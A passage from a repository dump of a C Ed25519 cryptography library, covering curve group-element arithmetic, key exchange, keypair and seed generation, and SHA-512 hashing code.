| r = a * A + b * B 62 | where a = a[0]+256*a[1]+...+256^31 a[31]. 63 | and b = b[0]+256*b[1]+...+256^31 b[31]. 64 | B is the Ed25519 base point (x,4/5) with x positive. 65 | */ 66 | 67 | void ge_double_scalarmult_vartime(ge_p2 *r, const unsigned char *a, const ge_p3 *A, const unsigned char *b) { 68 | signed char aslide[256]; 69 | signed char bslide[256]; 70 | ge_cached Ai[8]; /* A,3A,5A,7A,9A,11A,13A,15A */ 71 | ge_p1p1 t; 72 | ge_p3 u; 73 | ge_p3 A2; 74 | int i; 75 | slide(aslide, a); 76 | slide(bslide, b); 77 | ge_p3_to_cached(&Ai[0], A); 78 | ge_p3_dbl(&t, A); 79 | ge_p1p1_to_p3(&A2, &t); 80 | ge_add(&t, &A2, &Ai[0]); 81 | ge_p1p1_to_p3(&u, &t); 82 | ge_p3_to_cached(&Ai[1], &u); 83 | ge_add(&t, &A2, &Ai[1]); 84 | ge_p1p1_to_p3(&u, &t); 85 | ge_p3_to_cached(&Ai[2], &u); 86 | ge_add(&t, &A2, &Ai[2]); 87 | ge_p1p1_to_p3(&u, &t); 88 | ge_p3_to_cached(&Ai[3], &u); 89 | ge_add(&t, &A2, &Ai[3]); 90 | ge_p1p1_to_p3(&u, &t); 91 | ge_p3_to_cached(&Ai[4], &u); 92 | ge_add(&t, &A2, &Ai[4]); 93 | ge_p1p1_to_p3(&u, &t); 94 | ge_p3_to_cached(&Ai[5], &u); 95 | ge_add(&t, &A2, &Ai[5]); 96 | ge_p1p1_to_p3(&u, &t); 97 | ge_p3_to_cached(&Ai[6], &u); 98 | ge_add(&t, &A2, &Ai[6]); 99 | ge_p1p1_to_p3(&u, &t); 100 | ge_p3_to_cached(&Ai[7], &u); 101 | ge_p2_0(r); 102 | 103 | for (i = 255; i >= 0; --i) { 104 | if (aslide[i] || bslide[i]) { 105 | break; 106 | } 107 | } 108 | 109 | for (; i >= 0; --i) { 110 | ge_p2_dbl(&t, r); 111 | 112 | if (aslide[i] > 0) { 113 | ge_p1p1_to_p3(&u, &t); 114 | ge_add(&t, &u, &Ai[aslide[i] / 2]); 115 | } else if (aslide[i] < 0) { 116 | ge_p1p1_to_p3(&u, &t); 117 | ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); 118 | } 119 | 120 | if (bslide[i] > 0) { 121 | ge_p1p1_to_p3(&u, &t); 122 | ge_madd(&t, &u, &Bi[bslide[i] / 2]); 123 | } else if (bslide[i] < 0) { 124 | ge_p1p1_to_p3(&u, &t); 125 | ge_msub(&t, &u, &Bi[(-bslide[i]) / 2]); 126 | } 127 | 128 | ge_p1p1_to_p2(r, &t); 129 | } 130 | } 131 | 132 | 133 | static const fe d = { 134 | -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 135 | }; 136 | 137 | static const fe sqrtm1 = { 138 | -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 139 | }; 140 | 141 | int ge_frombytes_negate_vartime(ge_p3 *h, const unsigned char *s) { 142 | fe u; 143 | fe v; 144 | fe v3; 145 | fe vxx; 146 | fe check; 147 | fe_frombytes(h->Y, s); 148 | fe_1(h->Z); 149 | fe_sq(u, h->Y); 150 | fe_mul(v, u, d); 151 | fe_sub(u, u, h->Z); /* u = y^2-1 */ 152 | fe_add(v, v, h->Z); /* v = dy^2+1 */ 153 | fe_sq(v3, v); 154 | fe_mul(v3, v3, v); /* v3 = v^3 */ 155 | fe_sq(h->X, v3); 156 | fe_mul(h->X, h->X, v); 157 | fe_mul(h->X, h->X, u); /* x = uv^7 */ 158 | fe_pow22523(h->X, h->X); /* x = (uv^7)^((q-5)/8) */ 159 | fe_mul(h->X, h->X, v3); 160 | fe_mul(h->X, h->X, u); /* x = uv^3(uv^7)^((q-5)/8) */ 161 | fe_sq(vxx, h->X); 162 | fe_mul(vxx, vxx, v); 163 | fe_sub(check, vxx, u); /* vx^2-u */ 164 | 165 | if (fe_isnonzero(check)) { 166 | fe_add(check, vxx, u); /* vx^2+u */ 167 | 168 | if (fe_isnonzero(check)) { 169 | return -1; 170 | } 171 | 172 | fe_mul(h->X, h->X, sqrtm1); 173 | } 174 | 175 | if (fe_isnegative(h->X) == (s[31] >> 7)) { 176 | fe_neg(h->X, h->X); 177 | } 178 | 179 | fe_mul(h->T, h->X, h->Y); 180 | return 0; 181 | } 182 | 183 | 184 | /* 185 | r = p + q 186 | */ 187 | 188 | void ge_madd(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q) { 189 | fe t0; 190 | fe_add(r->X, p->Y, p->X); 191 | fe_sub(r->Y, p->Y, p->X); 192 | fe_mul(r->Z, r->X, q->yplusx); 193 | fe_mul(r->Y, r->Y, q->yminusx); 194 | fe_mul(r->T, q->xy2d, p->T); 195 | fe_add(t0, p->Z, p->Z); 196 | fe_sub(r->X, r->Z, r->Y); 197 | fe_add(r->Y, r->Z, r->Y); 198 | fe_add(r->Z, t0, r->T); 199 | fe_sub(r->T, t0, r->T); 200 | } 201 | 202 | 203 | /* 204 | r = p - q 205 | */ 206 | 207 | void ge_msub(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q) { 208 | fe t0; 209 | 210 | fe_add(r->X, p->Y, p->X); 211 | fe_sub(r->Y, p->Y, p->X); 212 | fe_mul(r->Z, r->X, q->yminusx); 213 | fe_mul(r->Y, r->Y, q->yplusx); 214 | fe_mul(r->T, q->xy2d, p->T); 215 | fe_add(t0, p->Z, p->Z); 216 | fe_sub(r->X, r->Z, r->Y); 217 | fe_add(r->Y, r->Z, r->Y); 218 | fe_sub(r->Z, t0, r->T); 219 | fe_add(r->T, t0, r->T); 220 | } 221 | 222 | 223 | /* 224 | r = p 225 | */ 226 | 227 | void ge_p1p1_to_p2(ge_p2 *r, const ge_p1p1 *p) { 228 | fe_mul(r->X, p->X, p->T); 229 | fe_mul(r->Y, p->Y, p->Z); 230 | fe_mul(r->Z, p->Z, p->T); 231 | } 232 | 233 | 234 | 235 | /* 236 | r = p 237 | */ 238 | 239 | void ge_p1p1_to_p3(ge_p3 *r, const ge_p1p1 *p) { 240 | fe_mul(r->X, p->X, p->T); 241 | fe_mul(r->Y, p->Y, p->Z); 242 | fe_mul(r->Z, p->Z, p->T); 243 | fe_mul(r->T, p->X, p->Y); 244 | } 245 | 246 | 247 | void ge_p2_0(ge_p2 *h) { 248 | fe_0(h->X); 249 | fe_1(h->Y); 250 | fe_1(h->Z); 251 | } 252 | 253 | 254 | 255 | /* 256 | r = 2 * p 257 | */ 258 | 259 | void ge_p2_dbl(ge_p1p1 *r, const ge_p2 *p) { 260 | fe t0; 261 | 262 | fe_sq(r->X, p->X); 263 | fe_sq(r->Z, p->Y); 264 | fe_sq2(r->T, p->Z); 265 | fe_add(r->Y, p->X, p->Y); 266 | fe_sq(t0, r->Y); 267 | fe_add(r->Y, r->Z, r->X); 268 | fe_sub(r->Z, r->Z, r->X); 269 | fe_sub(r->X, t0, r->Y); 270 | fe_sub(r->T, r->T, r->Z); 271 | } 272 | 273 | 274 | void ge_p3_0(ge_p3 *h) { 275 | fe_0(h->X); 276 | fe_1(h->Y); 277 | fe_1(h->Z); 278 | fe_0(h->T); 279 | } 280 | 281 | 282 | /* 283 | r = 2 * p 284 | */ 285 | 286 | void ge_p3_dbl(ge_p1p1 *r, const ge_p3 *p) { 287 | ge_p2 q; 288 | ge_p3_to_p2(&q, p); 289 | ge_p2_dbl(r, &q); 290 | } 291 | 292 | 293 | 294 | /* 295 | r = p 296 | */ 297 | 298 | static const fe d2 = { 299 | -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 300 | }; 301 | 302 | void ge_p3_to_cached(ge_cached *r, const ge_p3 *p) { 303 | fe_add(r->YplusX, p->Y, p->X); 304 | fe_sub(r->YminusX, p->Y, p->X); 305 | fe_copy(r->Z, p->Z); 306 | fe_mul(r->T2d, p->T, d2); 307 | } 308 | 309 | 310 | /* 311 | r = p 312 | */ 313 | 314 | void ge_p3_to_p2(ge_p2 *r, const ge_p3 *p) { 315 | fe_copy(r->X, p->X); 316 | fe_copy(r->Y, p->Y); 317 | fe_copy(r->Z, p->Z); 318 | } 319 | 320 | 321 | void ge_p3_tobytes(unsigned char *s, const ge_p3 *h) { 322 | fe recip; 323 | fe x; 324 | fe y; 325 | fe_invert(recip, h->Z); 326 | fe_mul(x, h->X, recip); 327 | fe_mul(y, h->Y, recip); 328 | fe_tobytes(s, y); 329 | s[31] ^= fe_isnegative(x) << 7; 330 | } 331 | 332 | 333 | static unsigned char equal(signed char b, signed char c) { 334 | unsigned char ub = b; 335 | unsigned char uc = c; 336 | unsigned char x = ub ^ uc; /* 0: yes; 1..255: no */ 337 | uint64_t y = x; /* 0: yes; 1..255: no */ 338 | y -= 1; /* large: yes; 0..254: no */ 339 | y >>= 63; /* 1: yes; 0: no */ 340 | return (unsigned char) y; 341 | } 342 | 343 | static unsigned char negative(signed char b) { 344 | uint64_t x = b; /* 18446744073709551361..18446744073709551615: yes; 0..255: no */ 345 | x >>= 63; /* 1: yes; 0: no */ 346 | return (unsigned char) x; 347 | } 348 | 349 | static void cmov(ge_precomp *t, const ge_precomp *u, unsigned char b) { 350 | fe_cmov(t->yplusx, u->yplusx, b); 351 | fe_cmov(t->yminusx, u->yminusx, b); 352 | fe_cmov(t->xy2d, u->xy2d, b); 353 | } 354 | 355 | 356 | static void select(ge_precomp *t, int pos, signed char b) { 357 | ge_precomp minust; 358 | unsigned char bnegative = negative(b); 359 | unsigned char babs = b - (((-bnegative) & b) << 1); 360 | fe_1(t->yplusx); 361 | fe_1(t->yminusx); 362 | fe_0(t->xy2d); 363 | cmov(t, &base[pos][0], equal(babs, 1)); 364 | cmov(t, &base[pos][1], equal(babs, 2)); 365 | cmov(t, &base[pos][2], equal(babs, 3)); 366 | cmov(t, &base[pos][3], equal(babs, 4)); 367 | cmov(t, &base[pos][4], equal(babs, 5)); 368 | cmov(t, &base[pos][5], equal(babs, 6)); 369 | cmov(t, &base[pos][6], equal(babs, 7)); 370 | cmov(t, &base[pos][7], equal(babs, 8)); 371 | fe_copy(minust.yplusx, t->yminusx); 372 | fe_copy(minust.yminusx, t->yplusx); 373 | fe_neg(minust.xy2d, t->xy2d); 374 | cmov(t, &minust, bnegative); 375 | } 376 | 377 | /* 378 | h = a * B 379 | where a = a[0]+256*a[1]+...+256^31 a[31] 380 | B is the Ed25519 base point (x,4/5) with x positive. 381 | 382 | Preconditions: 383 | a[31] <= 127 384 | */ 385 | 386 | void ge_scalarmult_base(ge_p3 *h, const unsigned char *a) { 387 | signed char e[64]; 388 | signed char carry; 389 | ge_p1p1 r; 390 | ge_p2 s; 391 | ge_precomp t; 392 | int i; 393 | 394 | for (i = 0; i < 32; ++i) { 395 | e[2 * i + 0] = (a[i] >> 0) & 15; 396 | e[2 * i + 1] = (a[i] >> 4) & 15; 397 | } 398 | 399 | /* each e[i] is between 0 and 15 */ 400 | /* e[63] is between 0 and 7 */ 401 | carry = 0; 402 | 403 | for (i = 0; i < 63; ++i) { 404 | e[i] += carry; 405 | carry = e[i] + 8; 406 | carry >>= 4; 407 | e[i] -= carry << 4; 408 | } 409 | 410 | e[63] += carry; 411 | /* each e[i] is between -8 and 8 */ 412 | ge_p3_0(h); 413 | 414 | for (i = 1; i < 64; i += 2) { 415 | select(&t, i / 2, e[i]); 416 | ge_madd(&r, h, &t); 417 | ge_p1p1_to_p3(h, &r); 418 | } 419 | 420 | ge_p3_dbl(&r, h); 421 | ge_p1p1_to_p2(&s, &r); 422 | ge_p2_dbl(&r, &s); 423 | ge_p1p1_to_p2(&s, &r); 424 | ge_p2_dbl(&r, &s); 425 | ge_p1p1_to_p2(&s, &r); 426 | ge_p2_dbl(&r, &s); 427 | ge_p1p1_to_p3(h, &r); 428 | 429 | for (i = 0; i < 64; i += 2) { 430 | select(&t, i / 2, e[i]); 431 | ge_madd(&r, h, &t); 432 | ge_p1p1_to_p3(h, &r); 433 | } 434 | } 435 | 436 | 437 | /* 438 | r = p - q 439 | */ 440 | 441 | void ge_sub(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q) { 442 | fe t0; 443 | 444 | fe_add(r->X, p->Y, p->X); 445 | fe_sub(r->Y, p->Y, p->X); 446 | fe_mul(r->Z, r->X, q->YminusX); 447 | fe_mul(r->Y, r->Y, q->YplusX); 448 | fe_mul(r->T, q->T2d, p->T); 449 | fe_mul(r->X, p->Z, q->Z); 450 | fe_add(t0, r->X, r->X); 451 | fe_sub(r->X, r->Z, r->Y); 452 | fe_add(r->Y, r->Z, r->Y); 453 | fe_sub(r->Z, t0, r->T); 454 | fe_add(r->T, t0, r->T); 455 | } 456 | 457 | 458 | void ge_tobytes(unsigned char *s, const ge_p2 *h) { 459 | fe recip; 460 | fe x; 461 | fe y; 462 | fe_invert(recip, h->Z); 463 | fe_mul(x, h->X, recip); 464 | fe_mul(y, h->Y, recip); 465 | fe_tobytes(s, y); 466 | s[31] ^= fe_isnegative(x) << 7; 467 | } 468 | -------------------------------------------------------------------------------- /crypto/ge.h: -------------------------------------------------------------------------------- 1 | #ifndef GE_H 2 | #define GE_H 3 | 4 | #include "fe.h" 5 | 6 | 7 | /* 8 | ge means group element. 9 | 10 | Here the group is the set of pairs (x,y) of field elements (see fe.h) 11 | satisfying -x^2 + y^2 = 1 + d x^2y^2 12 | where d = -121665/121666. 13 | 14 | Representations: 15 | ge_p2 (projective): (X:Y:Z) satisfying x=X/Z, y=Y/Z 16 | ge_p3 (extended): (X:Y:Z:T) satisfying x=X/Z, y=Y/Z, XY=ZT 17 | ge_p1p1 (completed): ((X:Z),(Y:T)) satisfying x=X/Z, y=Y/T 18 | ge_precomp (Duif): (y+x,y-x,2dxy) 19 | */ 20 | 21 | typedef struct { 22 | fe X; 23 | fe Y; 24 | fe Z; 25 | } ge_p2; 26 | 27 | typedef struct { 28 | fe X; 29 | fe Y; 30 | fe Z; 31 | fe T; 32 | } ge_p3; 33 | 34 | typedef struct { 35 | fe X; 36 | fe Y; 37 | fe Z; 38 | fe T; 39 | } ge_p1p1; 40 | 41 | typedef struct { 42 | fe yplusx; 43 | fe yminusx; 44 | fe xy2d; 45 | } ge_precomp; 46 | 47 | typedef struct { 48 | fe YplusX; 49 | fe YminusX; 50 | fe Z; 51 | fe T2d; 52 | } ge_cached; 53 | 54 | void ge_p3_tobytes(unsigned char *s, const ge_p3 *h); 55 | void ge_tobytes(unsigned char *s, const ge_p2 *h); 56 | int ge_frombytes_negate_vartime(ge_p3 *h, const unsigned char *s); 57 | 58 | void ge_add(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q); 59 | void ge_sub(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q); 60 | void ge_double_scalarmult_vartime(ge_p2 *r, const unsigned char *a, const ge_p3 *A, const unsigned char *b); 61 | void ge_madd(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q); 62 | void ge_msub(ge_p1p1 *r, const ge_p3 *p, const ge_precomp *q); 63 | void ge_scalarmult_base(ge_p3 *h, const unsigned char *a); 64 | 65 | void ge_p1p1_to_p2(ge_p2 *r, const ge_p1p1 *p); 66 | void ge_p1p1_to_p3(ge_p3 *r, const ge_p1p1 *p); 67 | void ge_p2_0(ge_p2 *h); 68 | void ge_p2_dbl(ge_p1p1 *r, const ge_p2 *p); 69 | void ge_p3_0(ge_p3 *h); 70 | void ge_p3_dbl(ge_p1p1 *r, const ge_p3 *p); 71 | void ge_p3_to_cached(ge_cached *r, const ge_p3 *p); 72 | void ge_p3_to_p2(ge_p2 *r, const ge_p3 *p); 73 | 74 | #endif 75 | -------------------------------------------------------------------------------- /crypto/key_exchange.c: -------------------------------------------------------------------------------- 1 | #include "ed25519.h" 2 | #include "fe.h" 3 | 4 | void ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key) { 5 | unsigned char e[32]; 6 | unsigned int i; 7 | 8 | fe x1; 9 | fe x2; 10 | fe z2; 11 | fe x3; 12 | fe z3; 13 | fe tmp0; 14 | fe tmp1; 15 | 16 | int pos; 17 | unsigned int swap; 18 | unsigned int b; 19 | 20 | /* copy the private key and make sure it's valid */ 21 | for (i = 0; i < 32; ++i) { 22 | e[i] = private_key[i]; 23 | } 24 | 25 | e[0] &= 248; 26 | e[31] &= 63; 27 | e[31] |= 64; 28 | 29 | /* unpack the public key and convert edwards to montgomery */ 30 | /* due to CodesInChaos: montgomeryX = (edwardsY + 1)*inverse(1 - edwardsY) mod p */ 31 | fe_frombytes(x1, public_key); 32 | fe_1(tmp1); 33 | fe_add(tmp0, x1, tmp1); 34 | fe_sub(tmp1, tmp1, x1); 35 | fe_invert(tmp1, tmp1); 36 | fe_mul(x1, tmp0, tmp1); 37 | 38 | fe_1(x2); 39 | fe_0(z2); 40 | fe_copy(x3, x1); 41 | fe_1(z3); 42 | 43 | swap = 0; 44 | for (pos = 254; pos >= 0; --pos) { 45 | b = e[pos / 8] >> (pos & 7); 46 | b &= 1; 47 | swap ^= b; 48 | fe_cswap(x2, x3, swap); 49 | fe_cswap(z2, z3, swap); 50 | swap = b; 51 | 52 | /* from montgomery.h */ 53 | fe_sub(tmp0, x3, z3); 54 | fe_sub(tmp1, x2, z2); 55 | fe_add(x2, x2, z2); 56 | fe_add(z2, x3, z3); 57 | fe_mul(z3, tmp0, x2); 58 | fe_mul(z2, z2, tmp1); 59 | fe_sq(tmp0, tmp1); 60 | fe_sq(tmp1, x2); 61 | fe_add(x3, z3, z2); 62 | fe_sub(z2, z3, z2); 63 | fe_mul(x2, tmp1, tmp0); 64 | fe_sub(tmp1, tmp1, tmp0); 65 | fe_sq(z2, z2); 66 | fe_mul121666(z3, tmp1); 67 | fe_sq(x3, x3); 68 | fe_add(tmp0, tmp0, z3); 69 | fe_mul(z3, x1, z2); 70 | fe_mul(z2, tmp1, tmp0); 71 | } 72 | 73 | fe_cswap(x2, x3, swap); 74 | fe_cswap(z2, z3, swap); 75 | 76 | fe_invert(z2, z2); 77 | fe_mul(x2, x2, z2); 78 | fe_tobytes(shared_secret, x2); 79 | } 80 | -------------------------------------------------------------------------------- /crypto/pub.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "ed25519.h" 4 | #include "ge.h" 5 | 6 | 7 | 8 | 9 | void ed25519_getpub(unsigned char *public_key, unsigned char *private_key) { 10 | ge_p3 A; 11 | ge_scalarmult_base(&A, private_key); 12 | ge_p3_tobytes(public_key, &A); 13 | } 14 | 15 | -------------------------------------------------------------------------------- /crypto/sc.h: -------------------------------------------------------------------------------- 1 | #ifndef SC_H 2 | #define SC_H 3 | 4 | /* 5 | The set of scalars is \Z/l 6 | where l = 2^252 + 27742317777372353535851937790883648493. 7 | */ 8 | 9 | void sc_reduce(unsigned char *s); 10 | void sc_muladd(unsigned char *s, const unsigned char *a, const unsigned char *b, const unsigned char *c); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /crypto/seed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "ed25519.h" 4 | #include "sha512.h" 5 | #include "ge.h" 6 | 7 | #ifndef ED25519_NO_SEED 8 | 9 | int ed25519_create_seed(unsigned char *seed) { 10 | FILE *f = fopen("/dev/urandom", "rb"); 11 | 12 | if (f == NULL) { 13 | return 1; 14 | } 15 | 16 | fread(seed, 1, 32, f); 17 | fclose(f); 18 | return 0; 19 | } 20 | 21 | 22 | 23 | 24 | void ed25519_create_keypair(unsigned char *public_key, unsigned char *private_key, const unsigned char *seed) { 25 | ge_p3 A; 26 | 27 | sha512(seed, 32, private_key); 28 | private_key[0] &= 248; 29 | private_key[31] &= 63; 30 | private_key[31] |= 64; 31 | 32 | ge_scalarmult_base(&A, private_key); 33 | ge_p3_tobytes(public_key, &A); 34 | } 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /crypto/sha512.c: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | * 9 | * Tom St Denis, tomstdenis@gmail.com, http://libtom.org 10 | */ 11 | 12 | #include "fixedint.h" 13 | #include "sha512.h" 14 | 15 | /* the K array */ 16 | static const uint64_t K[80] = { 17 | UINT64_C(0x428a2f98d728ae22), UINT64_C(0x7137449123ef65cd), 18 | UINT64_C(0xb5c0fbcfec4d3b2f), UINT64_C(0xe9b5dba58189dbbc), 19 | UINT64_C(0x3956c25bf348b538), UINT64_C(0x59f111f1b605d019), 20 | UINT64_C(0x923f82a4af194f9b), UINT64_C(0xab1c5ed5da6d8118), 21 | UINT64_C(0xd807aa98a3030242), UINT64_C(0x12835b0145706fbe), 22 | UINT64_C(0x243185be4ee4b28c), UINT64_C(0x550c7dc3d5ffb4e2), 23 | UINT64_C(0x72be5d74f27b896f), UINT64_C(0x80deb1fe3b1696b1), 24 | UINT64_C(0x9bdc06a725c71235), UINT64_C(0xc19bf174cf692694), 25 | UINT64_C(0xe49b69c19ef14ad2), UINT64_C(0xefbe4786384f25e3), 26 | UINT64_C(0x0fc19dc68b8cd5b5), UINT64_C(0x240ca1cc77ac9c65), 27 | UINT64_C(0x2de92c6f592b0275), UINT64_C(0x4a7484aa6ea6e483), 28 | UINT64_C(0x5cb0a9dcbd41fbd4), UINT64_C(0x76f988da831153b5), 29 | UINT64_C(0x983e5152ee66dfab), UINT64_C(0xa831c66d2db43210), 30 | UINT64_C(0xb00327c898fb213f), UINT64_C(0xbf597fc7beef0ee4), 31 | UINT64_C(0xc6e00bf33da88fc2), UINT64_C(0xd5a79147930aa725), 32 | UINT64_C(0x06ca6351e003826f), UINT64_C(0x142929670a0e6e70), 33 | UINT64_C(0x27b70a8546d22ffc), UINT64_C(0x2e1b21385c26c926), 34 | UINT64_C(0x4d2c6dfc5ac42aed), UINT64_C(0x53380d139d95b3df), 35 | UINT64_C(0x650a73548baf63de), UINT64_C(0x766a0abb3c77b2a8), 36 | UINT64_C(0x81c2c92e47edaee6), UINT64_C(0x92722c851482353b), 37 | UINT64_C(0xa2bfe8a14cf10364), UINT64_C(0xa81a664bbc423001), 38 | UINT64_C(0xc24b8b70d0f89791), UINT64_C(0xc76c51a30654be30), 39 | UINT64_C(0xd192e819d6ef5218), UINT64_C(0xd69906245565a910), 40 | UINT64_C(0xf40e35855771202a), UINT64_C(0x106aa07032bbd1b8), 41 | UINT64_C(0x19a4c116b8d2d0c8), UINT64_C(0x1e376c085141ab53), 42 | UINT64_C(0x2748774cdf8eeb99), UINT64_C(0x34b0bcb5e19b48a8), 43 | UINT64_C(0x391c0cb3c5c95a63), UINT64_C(0x4ed8aa4ae3418acb), 44 | UINT64_C(0x5b9cca4f7763e373), UINT64_C(0x682e6ff3d6b2b8a3), 45 | UINT64_C(0x748f82ee5defb2fc), UINT64_C(0x78a5636f43172f60), 46 | UINT64_C(0x84c87814a1f0ab72), UINT64_C(0x8cc702081a6439ec), 47 | UINT64_C(0x90befffa23631e28), UINT64_C(0xa4506cebde82bde9), 48 | UINT64_C(0xbef9a3f7b2c67915), UINT64_C(0xc67178f2e372532b), 49 | UINT64_C(0xca273eceea26619c), UINT64_C(0xd186b8c721c0c207), 50 | UINT64_C(0xeada7dd6cde0eb1e), UINT64_C(0xf57d4f7fee6ed178), 51 | UINT64_C(0x06f067aa72176fba), UINT64_C(0x0a637dc5a2c898a6), 52 | UINT64_C(0x113f9804bef90dae), UINT64_C(0x1b710b35131c471b), 53 | UINT64_C(0x28db77f523047d84), UINT64_C(0x32caab7b40c72493), 54 | UINT64_C(0x3c9ebe0a15c9bebc), UINT64_C(0x431d67c49c100d4c), 55 | UINT64_C(0x4cc5d4becb3e42b6), UINT64_C(0x597f299cfc657e2a), 56 | UINT64_C(0x5fcb6fab3ad6faec), UINT64_C(0x6c44198c4a475817) 57 | }; 58 | 59 | /* Various logical functions */ 60 | 61 | #define ROR64c(x, y) \ 62 | ( ((((x)&UINT64_C(0xFFFFFFFFFFFFFFFF))>>((uint64_t)(y)&UINT64_C(63))) | \ 63 | ((x)<<((uint64_t)(64-((y)&UINT64_C(63)))))) & UINT64_C(0xFFFFFFFFFFFFFFFF)) 64 | 65 | #define STORE64H(x, y) \ 66 | { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ 67 | (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ 68 | (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ 69 | (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } 70 | 71 | #define LOAD64H(x, y) \ 72 | { x = (((uint64_t)((y)[0] & 255))<<56)|(((uint64_t)((y)[1] & 255))<<48) | \ 73 | (((uint64_t)((y)[2] & 255))<<40)|(((uint64_t)((y)[3] & 255))<<32) | \ 74 | (((uint64_t)((y)[4] & 255))<<24)|(((uint64_t)((y)[5] & 255))<<16) | \ 75 | (((uint64_t)((y)[6] & 255))<<8)|(((uint64_t)((y)[7] & 255))); } 76 | 77 | 78 | #define Ch(x,y,z) (z ^ (x & (y ^ z))) 79 | #define Maj(x,y,z) (((x | y) & z) | (x & y)) 80 | #define S(x, n) ROR64c(x, n) 81 | #define R(x, n) (((x) &UINT64_C(0xFFFFFFFFFFFFFFFF))>>((uint64_t)n)) 82 | #define Sigma0(x) (S(x, 28) ^ S(x, 34) ^ S(x, 39)) 83 | #define Sigma1(x) (S(x, 14) ^ S(x, 18) ^ S(x, 41)) 84 | #define Gamma0(x) (S(x, 1) ^ S(x, 8) ^ R(x, 7)) 85 | #define Gamma1(x) (S(x, 19) ^ S(x, 61) ^ R(x, 6)) 86 | #ifndef MIN 87 | #define MIN(x, y) ( ((x)<(y))?(x):(y) ) 88 | #endif 89 | 90 | /* compress 1024-bits */ 91 | static int sha512_compress(sha512_context *md, unsigned char *buf) 92 | { 93 | uint64_t S[8], W[80], t0, t1; 94 | int i; 95 | 96 | /* copy state into S */ 97 | for (i = 0; i < 8; i++) { 98 | S[i] = md->state[i]; 99 | } 100 | 101 | /* copy the state into 1024-bits into W[0..15] */ 102 | for (i = 0; i < 16; i++) { 103 | LOAD64H(W[i], buf + (8*i)); 104 | } 105 | 106 | /* fill W[16..79] */ 107 | for (i = 16; i < 80; i++) { 108 | W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; 109 | } 110 | 111 | /* Compress */ 112 | #define RND(a,b,c,d,e,f,g,h,i) \ 113 | t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ 114 | t1 = Sigma0(a) + Maj(a, b, c);\ 115 | d += t0; \ 116 | h = t0 + t1; 117 | 118 | for (i = 0; i < 80; i += 8) { 119 | RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],i+0); 120 | RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],i+1); 121 | RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],i+2); 122 | RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],i+3); 123 | RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],i+4); 124 | RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],i+5); 125 | RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],i+6); 126 | RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],i+7); 127 | } 128 | 129 | #undef RND 130 | 131 | 132 | 133 | /* feedback */ 134 | for (i = 0; i < 8; i++) { 135 | md->state[i] = md->state[i] + S[i]; 136 | } 137 | 138 | return 0; 139 | } 140 | 141 | 142 | /** 143 | Initialize the hash state 144 | @param md The hash state you wish to initialize 145 | @return 0 if successful 146 | */ 147 | int sha512_init(sha512_context * md) { 148 | if (md == NULL) return 1; 149 | 150 | md->curlen = 0; 151 | md->length = 0; 152 | md->state[0] = UINT64_C(0x6a09e667f3bcc908); 153 | md->state[1] = UINT64_C(0xbb67ae8584caa73b); 154 | md->state[2] = UINT64_C(0x3c6ef372fe94f82b); 155 | md->state[3] = UINT64_C(0xa54ff53a5f1d36f1); 156 | md->state[4] = UINT64_C(0x510e527fade682d1); 157 | md->state[5] = UINT64_C(0x9b05688c2b3e6c1f); 158 | md->state[6] = UINT64_C(0x1f83d9abfb41bd6b); 159 | md->state[7] = UINT64_C(0x5be0cd19137e2179); 160 | 161 | return 0; 162 | } 163 | 164 | /** 165 | Process a block of memory though the hash 166 | @param md The hash state 167 | @param in The data to hash 168 | @param inlen The length of the data (octets) 169 | @return 0 if successful 170 | */ 171 | int sha512_update (sha512_context * md, const unsigned char *in, size_t inlen) 172 | { 173 | size_t n; 174 | size_t i; 175 | int err; 176 | if (md == NULL) return 1; 177 | if (in == NULL) return 1; 178 | if (md->curlen > sizeof(md->buf)) { 179 | return 1; 180 | } 181 | while (inlen > 0) { 182 | if (md->curlen == 0 && inlen >= 128) { 183 | if ((err = sha512_compress (md, (unsigned char *)in)) != 0) { 184 | return err; 185 | } 186 | md->length += 128 * 8; 187 | in += 128; 188 | inlen -= 128; 189 | } else { 190 | n = MIN(inlen, (128 - md->curlen)); 191 | 192 | for (i = 0; i < n; i++) { 193 | md->buf[i + md->curlen] = in[i]; 194 | } 195 | 196 | 197 | md->curlen += n; 198 | in += n; 199 | inlen -= n; 200 | if (md->curlen == 128) { 201 | if ((err = sha512_compress (md, md->buf)) != 0) { 202 | return err; 203 | } 204 | md->length += 8*128; 205 | md->curlen = 0; 206 | } 207 | } 